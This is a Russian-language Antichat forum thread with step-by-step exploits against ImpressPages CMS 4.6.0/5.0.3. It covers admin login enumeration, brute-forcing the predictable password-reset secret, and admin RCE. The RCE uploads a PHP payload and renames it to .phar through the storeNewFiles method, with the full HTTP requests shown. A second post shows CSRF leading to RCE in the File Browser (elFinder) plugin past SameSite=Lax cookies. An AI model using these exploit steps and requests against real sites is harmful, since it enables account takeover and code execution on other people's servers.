Impresspages CMS

Discussion in 'Веб-уязвимости' started by Baskin-Robbins, 18 Jun 2021.

  1. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    Сайт - impresspages.org
    Версия 4.6.0 (+ 5.0.3)


    Admin login|email harvestering

    Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.


    Bypass auth

    Зависимости
    -- Наличие админского логина
    -- Локальное время сервера

    Ip/Internal/Administrators/Model.php
    PHP:
    private static function generatePasswordResetSecret($userId)
    {
        
    $secret md5(ipConfig()->get('sessionName') . uniqid());
        
    $data = array(
            
    'resetSecret' => $secret,
            
    'resetTime' => time()
        );
        
    ipDb()->update('administrator'$data, array('id' => $userId));
        return 
    $secret;
    }
    Линк на смену пароля генерируется из сессии + unix timestamp.
    Генерируем список ссылок - брутим.

    Code:
    http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02
    

    RCE

    Зависимости:
    -- Админские привилегии
    -- Разрешение на выполнение phar

    В админке все взаимодействие строится на подключенных модулях и вызова их методов.
    Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих
    модулей ядра и плагинов.

    Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.
    И даже если бы могли грузить php, нам мешает .htaccess
    Code:
    <Files  ~ "\.(php|php5|php6|php7|jsp|phps|asp|cgi|py)$">
    deny from all
    </Files>
    
    Что можно с этим сделать?

    Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository
    из file/tmp - причем мы можем это сделать сменив расширение. В папку secure
    грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.

    Ip/Internal/Repository/AdminController.php
    PHP:
    public function storeNewFiles()
    {
        
    ipRequest()->mustBePost();
        
    $post ipRequest()->getPost();
        
    $secure = !empty($post['secure']);
        
    $path = isset($post['path']) ? $post['path'] : null;


        
    $browserModel BrowserModel::instance();

        
    $browserModel->pathMustBeInRepository($path$secure);


        if (!isset(
    $post['files']) || !is_array($post['files'])) {
            return new \
    Ip\Response\Json(array('status' => 'error''errorMessage' => 'Missing POST variable'));
        }

        
    $files = isset($post['files']) ? $post['files'] : [];

        
    $newFiles = [];


        
    $destination $browserModel->getPath($secure$path);


        foreach (
    $files as $file) {
            
    $sourceDir 'file/tmp/';
            if (
    $secure) {
                
    $sourceDir 'file/secure/tmp/';
            }


            
    $source ipFile($sourceDir $file['fileName']);
            
    $source realpath($source); //to avoid any tricks with relative paths, etc.
            
    if (strpos($sourcerealpath(ipFile($sourceDir))) !== 0) {
                
    ipLog()->alert('Core.triedToAccessNonPublicFile', array('file' => $file['fileName']));
                continue;
            }


            
    $newName = \Ip\Internal\File\Functions::genUnoccupiedName($file['renameTo'], $destination);
            
    copy($source$destination $newName);
            
    unlink($source); //this is a temporary file
            
    $browserModel = \Ip\Internal\Repository\BrowserModel::instance();
            
    $newFile $browserModel->getFile($newName$secure$path);
            
    $newFiles[] = $newFile;
        }
        
    $answer = array(
            
    'status' => 'success',
            
    'files' => $newFiles
        
    );

        return new \
    Ip\Response\Json($answer);
    }

    Запрос на загрузку файла
    Code:
    POST / HTTP/1.1
    Host: ip4.localhost.com
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ip4.localhost.com/dddddddddddddddd/
    Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
    Content-Length: 750
    DNT: 1
    Connection: close
    Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
    Sec-GPC: 1
    
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="name"
    
    1.jpg
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="sa"
    
    Repository.upload
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="secureFolder"
    
    0
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="securityToken"
    
    eb763756cb06598270d99b1ab71b0bc6
    -----------------------------66207624121407658211508896721
    Content-Disposition: form-data; name="file"; filename="4.php"
    Content-Type: application/octet-stream
    
    <?= phpinfo();
    
    -----------------------------66207624121407658211508896721--
    

    Запрос на перемещение файла
    Code:
    POST /?aa=Repository.storeNewFiles HTTP/1.1
    Host: ip4.localhost.com
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ip4.localhost.com/?aa=Repository.storeNewFiles
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 136
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=mjma15faqgjbh7b41r8t8vdq69; ses373388643=eq9cmqhno8to90ejava318bu81
    Sec-GPC: 1
    
    securityToken=4c9988f56ff8a06d41c304fdf6cb8aaf&files[0][fileName]=1.jpg&files[0][renameTo]=r.phar
    

    Code:
    ip4.localhost.com/file/repository/r.phar
    
     
    #1 Baskin-Robbins, 18 Jun 2021
    Last edited: 18 Jun 2021
    emilybrauer, seostock, Spinus and 4 others like this.
  2. Baskin-Robbins

    Baskin-Robbins Reservists Of Antichat

    Joined:
    15 Sep 2018
    Messages:
    239
    Likes Received:
    809
    Reputations:
    212
    CSRF -> RCE (bypass default samesite cookie value Lax)

    Плагин File Browser v. 1.00


    В целом обычная csrf в плагине и совершенно очевидный обход ограничений в PHP
    приложениях дефолтных Samesite cookie Lax.

    Из коробки POST запросы эксплуатировать тяжело, но большинство трудностей
    улетучивается когда разрабы используют $_REQUEST или функции/конструкции наподобие
    этих:

    PHP:
    $var $_SERVER['REQUEST_METHOD'] === 'POST' $_POST $_GET;

    # или например
    # from LiveStreet CMS

    function getRequest($sName$default null$sType null)
    {
        switch (
    strtolower($sType)) {
            default:
            case 
    null:
                
    $aStorage $_REQUEST;
                break;
            case 
    'get':
                
    $aStorage $_GET;
                break;
            case 
    'post':
                
    $aStorage $_POST;
                break;
        }

        if (isset(
    $aStorage[$sName])) {
            if (
    is_string($aStorage[$sName])) {
                return 
    trim($aStorage[$sName]);
            } else {
                return 
    $aStorage[$sName];
            }
        }
        return 
    $default;
    }

    Что впринципе мы и видим ниже, один и тот же запрос в GET и POST.

    1.png

    2.png


    Хэш в запросе:
    3.png


    4.png


    Plugin/Browser/elfinder/php/elFinderConnector.class.php
    PHP:
        public function run() {
           
    $isPost $_SERVER["REQUEST_METHOD"] == 'POST';
           
    $src    $_SERVER["REQUEST_METHOD"] == 'POST' $_POST $_GET;
           if (
    $isPost && !$src && $rawPostData = @file_get_contents('php://input')) {
               
    // for support IE XDomainRequest()
               
    $parts explode('&'$rawPostData);
               foreach(
    $parts as $part) {
                   list(
    $key$value) = array_pad(explode('='$part), 2'');
                   
    $src[$key] = rawurldecode($value);
               }
               
    $_POST $src;
               
    $_REQUEST array_merge_recursive($src$_REQUEST);
           }
           
    $cmd    = isset($src['cmd']) ? $src['cmd'] : '';
           
    $args   = array();
          
           if (!
    function_exists('json_encode')) {
               
    $error $this->elFinder->error(elFinder::ERROR_CONFelFinder::ERROR_CONF_NO_JSON);
               
    $this->output(array('error' => '{"error":["'.implode('","'$error).'"]}''raw' => true));
           }
          
           if (!
    $this->elFinder->loaded()) {
               
    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_CONFelFinder::ERROR_CONF_NO_VOL), 'debug' => $this->elFinder->mountErrors));
           }
          
           
    // telepat_mode: on
           
    if (!$cmd && $isPost) {
               
    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UPLOADelFinder::ERROR_UPLOAD_TOTAL_SIZE), 'header' => 'Content-Type: text/html'));
           }
           
    // telepat_mode: off
          
           
    if (!$this->elFinder->commandExists($cmd)) {
               
    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
           }
          
           
    // collect required arguments to exec command
           
    foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) {
               
    $arg $name == 'FILES'
                   
    $_FILES
                   
    : (isset($src[$name]) ? $src[$name] : '');
                  
               if (!
    is_array($arg)) {
                   
    $arg trim($arg);
               }
               if (
    $req && (!isset($arg) || $arg === '')) {
                   
    $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS$cmd)));
               }
               
    $args[$name] = $arg;
           }
          
           
    $args['debug'] = isset($src['debug']) ? !!$src['debug'] : false;
          
           
    $this->output($this->elFinder->exec($cmd$this->input_filter($args)));
       }
     
    #2 Baskin-Robbins, 30 Aug 2021
    Last edited: 30 Aug 2021
    fandor9, crlf, CyberTro1n and 3 others like this.